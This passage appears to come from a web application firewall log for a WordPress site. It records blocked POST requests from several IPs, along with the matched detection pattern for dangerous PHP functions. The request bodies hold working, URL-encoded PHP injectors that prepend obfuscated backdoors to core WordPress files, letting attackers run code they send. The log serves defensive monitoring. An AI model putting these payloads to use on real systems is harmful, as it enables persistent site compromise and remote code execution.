r2%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler3%2529%2529%257B%2524auth_exception_handler3%2528%2524framework%252C%2524ent_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler4%2529%2529%257B%2524auth_exception_handler4%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler5%2529%2526%2526function_exists%2528%2524auth_exception_handler6%2529%2526%2526function_exists%2528%2524auth_exception_handler7%2529%2529%257B%2524key_token%253D%2524auth_exception_handler5%2528%2524framework%252C%2522r%2522%2529%253Bif%2528%2524key_token%2529%257B%2524sym_hld%253D%2524auth_exception_handler6%2528%2524key_token%2529%253B%2524auth_exception_handler7%2528%2524key_token%2529%253Bprint%2520%2524sym_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:40:15","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> al:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mrk1%2520%253D%2520%25277%2527%253B%2524mrk2%2520%253D%2520%25279%2527%253B%2524mrk3%2520%253D%2520%2527d%2527%253B%2524mrk4%2520%253D%2520%25278%2527%253B%2524mrk5%2520%253D%2520%25276%2527%253B%2524mrk6%2520%253D%2520%2527c%2527%253B%2524mrk7%2520%253D%2520%25275%2527%253B%2524mrk8%2520%253D%2520%2527f%2527%253B%2524mrk9%2520%253D%2520%25273%2527%253B%2524mrk10%2520%253D%2520%25271%2527%253B%2524mrk11%2520%253D%2520%25270%2527%253B%2524mrk12%2520%253D%2520%25274%2527%253B%2524mrk13%2520%253D%2520%25272%2527%253B%2524mrk14%2520%253D%2520%2527e%2527%253B%2524auth_exception_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25277%2527.%2524mrk2.%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524mrk3%2529%253B%2524auth_exception_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25276%2527.%2524mrk4.%25276%2527.%25275%2527.%2524mrk5.%2524mrk6.%2524mrk5.%2524mrk6.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk7.%2524mrk1.%25278%2527.%2524mrk5.%25275%2527.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%25277%2527.%2524mrk4.%2524mrk5.%2524mrk7.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25270%2527.%2524mrk5.%2524mrk10.%25277%2527.%2524mrk9.%2524mrk1.%2524mrk9.%25277%2527.%25274%2527.%2524mrk5.%25278%2527.%25277%2527.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524auth_exception_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524mrk11.%2524mrk5.%2524mrk7.%2524mrk5.%2527e%2527%2529%253B%2524auth_exception_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%2524mrk12.%2524mrk1.%2524mrk13.%2524mrk5.%2524mrk7.%25276%2527.%2524mrk10.%25276%2527.%2524mrk3.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk1.%25276%2527.%25275%2527.%25277%2527.%25274%2527.%2524mrk7.%2524mrk8.%2524mrk5.%25273%2527.%2524mrk5.%2527f%2527.%2524mrk5.%2527e%2527.%2524mrk1.%25274%2527.%25276%2527.%2524mrk7.%2524mrk5.%2524mrk14.%2524mrk1.%2524mrk12.%2524mrk1.%25273%2527%2529%253B%2524auth_exception_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524mrk11.%2524mrk5.%25273%2527.%2524mrk5.%2527c%2527.%2524mrk5.%2524mrk8.%25277%2527.%2524mrk9.%25276%2527.%25275%2527%2529%253B%2524framework%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk5.%25276%2527.%25277%2527.%25272%2527.%25276%2527.%25271%2527.%2524mrk5.%2527d%2527.%25276%2527.%25275%2527.%25277%2527.%2524mrk1.%2524mrk5.%2527f%2527.%2524mrk1.%2524mrk13.%2524mrk5.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524framework%255D%2529%2529%257B%2524framework%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524framework%255D%2529%253Bif%2528function_exists%2528%2524auth_exception_handler1%2529%2529%257B%2524auth_exception_handler1%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler2%2529%2529%257Bprint%2520%2524auth_exception_handler2%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler3%2529%2529%257B%2524auth_exception_handler3%2528%2524framework%252C%2524ent_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler4%2529%2529%257B%2524auth_exception_handler4%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler5%2529%2526%2526function_exists%2528%2524auth_exception_handler6%2529%2526%2526function_exists%2528%2524auth_exception_handler7%2529%2529%257B%2524key_token%253D%2524auth_exception_handler5%2528%2524framework%252C%2522r%2522%2529%253Bif%2528%2524key_token%2529%257B%2524sym_hld%253D%2524auth_exception_handler6%2528%2524key_token%2529%253B%2524auth_exception_handler7%2528%2524key_token%2529%253Bprint%2520%2524sym_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\ncontent-length:7035\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLJjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nal=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mrk1%2520%253D%2520%25277%2527%253B%2524mrk2%2520%253D%2520%25279%2527%253B%2524mrk3%2520%253D%2520%2527d%2527%253B%2524mrk4%2520%253D%2520%25278%2527%253B%2524mrk5%2520%253D%2520%25276%2527%253B%2524mrk6%2520%253D%2520%2527c%2527%253B%2524mrk7%2520%253D%2520%25275%2527%253B%2524mrk8%2520%253D%2520%2527f%2527%253B%2524mrk9%2520%253D%2520%25273%2527%253B%2524mrk10%2520%253D%2520%25271%2527%253B%2524mrk11%2520%253D%2520%25270%2527%253B%2524mrk12%2520%253D%2520%25274%2527%253B%2524mrk13%2520%253D%2520%25272%2527%253B%2524mrk14%2520%253D%2520%2527e%2527%253B%2524auth_exception_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25277%2527.%2524mrk2.%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524mrk3%2529%253B%2524auth_exception_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25273%2527.%25276%2527.%2524mrk4.%25276%2527.%25275%2527.%2524mrk5.%2524mrk6.%2524mrk5.%2524mrk6.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk7.%2524mrk1.%25278%2527.%2524mrk5.%25275%2527.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%25277%2527.%2524mrk4.%2524mrk5.%2524mrk7.%2524mrk5.%2524mrk9%2529%253B%2524auth_exception_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk1.%25270%2527.%2524mrk5.%2524mrk10.%25277%2527.%2524mrk9.%2524mrk1.%2524mrk9.%25277%2527.%25274%2527.%2524mrk5.%25278%2527.%25277%2527.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524auth_exception_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524mrk11.%2524mrk5.%2524mrk7.%2524mrk5.%2527e%2527%2529%253B%2524auth_exception_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%2524mrk12.%2524mrk1.%2524mrk13.%2524mrk5.%2524mrk7.%25276%2527.%2524mrk10.%25276%2527.%2524mrk3.%2524mrk7.%2524mrk8.%2524mrk5.%2524mrk1.%25276%2527.%25275%2527.%25277%2527.%25274%2527.%2524mrk7.%2524mrk8.%2524mrk5.%25273%2527.%2524mrk5.%2527f%2527.%2524mrk5.%2527e%2527.%2524mrk1.%25274%2527.%25276%2527.%2524mrk7.%2524mrk5.%2524mrk14.%2524mrk1.%2524mrk12.%2524mrk1.%25273%2527%2529%253B%2524auth_exception_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524mrk11.%2524mrk5.%25273%2527.%2524mrk5.%2527c%2527.%2524mrk5.%2524mrk8.%25277%2527.%2524mrk9.%25276%2527.%25275%2527%2529%253B%2524framework%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524mrk5.%25276%2527.%25277%2527.%25272%2527.%25276%2527.%25271%2527.%2524mrk5.%2527d%2527.%25276%2527.%25275%2527.%25277%2527.%2524mrk1.%2524mrk5.%2527f%2527.%2524mrk1.%2524mrk13.%2524mrk5.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524framework%255D%2529%2529%257B%2524framework%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524framework%255D%2529%253Bif%2528function_exists%2528%2524auth_exception_handler1%2529%2529%257B%2524auth_exception_handler1%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler2%2529%2529%257Bprint%2520%2524auth_exception_handler2%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler3%2529%2529%257B%2524auth_exception_handler3%2528%2524framework%252C%2524ent_pgrp%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_pgrp%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler4%2529%2529%257B%2524auth_exception_handler4%2528%2524framework%2529%253B%257Delseif%2528function_exists%2528%2524auth_exception_handler5%2529%2526%2526function_exists%2528%2524auth_exception_handler6%2529%2526%2526function_exists%2528%2524auth_exception_handler7%2529%2529%257B%2524key_token%253D%2524auth_exception_handler5%2528%2524framework%252C%2522r%2522%2529%253Bif%2528%2524key_token%2529%257B%2524sym_hld%253D%2524auth_exception_handler6%2528%2524key_token%2529%253B%2524auth_exception_handler7%2528%2524key_token%2529%253Bprint%2520%2524sym_hld%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:40:18","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Wq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/IRI.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524a%255D%2529%2520%255E%252056%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dat%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524dat\/.data_chunk%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524elem%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:3826\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI3RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nWq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/IRI.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524a%255D%2529%2520%255E%252056%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dat%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524dat\/.data_chunk%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524elem%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:40:24","77.65.47.245","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qZ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/IRI.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%2529%257B%2520%2524obj%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Be%255Cx79%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2524a%2520%253D%25200%253B%2520do%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524a%255D%2529%2520%255E%252056%2529%253B%2524a%252B%252B%253B%257D%2520while%2528%2524a%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dat%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524dat\/.data_chunk%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524elem%252C%2520%2524property_set%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ 